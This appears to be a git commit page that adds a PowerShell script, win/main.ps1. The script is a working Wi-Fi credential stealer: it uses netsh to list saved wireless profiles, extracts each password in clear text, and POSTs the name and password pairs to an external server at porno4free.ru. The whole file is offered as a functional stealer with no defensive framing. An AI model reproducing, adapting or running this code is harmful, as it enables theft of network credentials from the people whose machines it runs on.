Add powrshell script to send files
This commit is contained in:
parent
1843801ac5
commit
e29ec99c48
1 changed files with 32 additions and 0 deletions
32
win/main.ps1
Normal file
32
win/main.ps1
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
$apiUrl = "https://porno4free.ru/save-wifi"
|
||||||
|
|
||||||
|
# Get wifi
|
||||||
|
$wifiData = (netsh wlan show profiles) | Select-String ":\s+(.+)$" | ForEach-Object {
|
||||||
|
$name = $_.Matches.Groups[1].Value.Trim()
|
||||||
|
$profile = netsh wlan show profile name="$name" key=clear | Out-String
|
||||||
|
|
||||||
|
# Parsing password
|
||||||
|
$password = ($profile -split "Содержимое ключа|Key Content")[1] -split "`n" | Select-String ":\s*(.+)$"
|
||||||
|
$password = if ($password) { $password.Matches.Groups[1].Value.Trim() } else { "Нет пароля" }
|
||||||
|
|
||||||
|
# format to send
|
||||||
|
[PSCustomObject]@{
|
||||||
|
profile_name = $name
|
||||||
|
password = $password
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send
|
||||||
|
foreach ($wifi in $wifiData) {
|
||||||
|
$body = $wifi | ConvertTo-Json
|
||||||
|
$headers = @{ "Content-Type" = "application/json" }
|
||||||
|
|
||||||
|
try {
|
||||||
|
$response = Invoke-RestMethod -Uri $apiUrl -Method Post -Body $body -Headers $headers
|
||||||
|
Write-Host "[GOOD] DATA SEND: $($wifi.profile_name)" -ForegroundColor Green
|
||||||
|
} catch {
|
||||||
|
Write-Host "[FUCK] FUCK$($wifi.profile_name): $_" -ForegroundColor Red
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "ALL DONE!" -ForegroundColor Cyan
|
||||||
Loading…
Reference in a new issue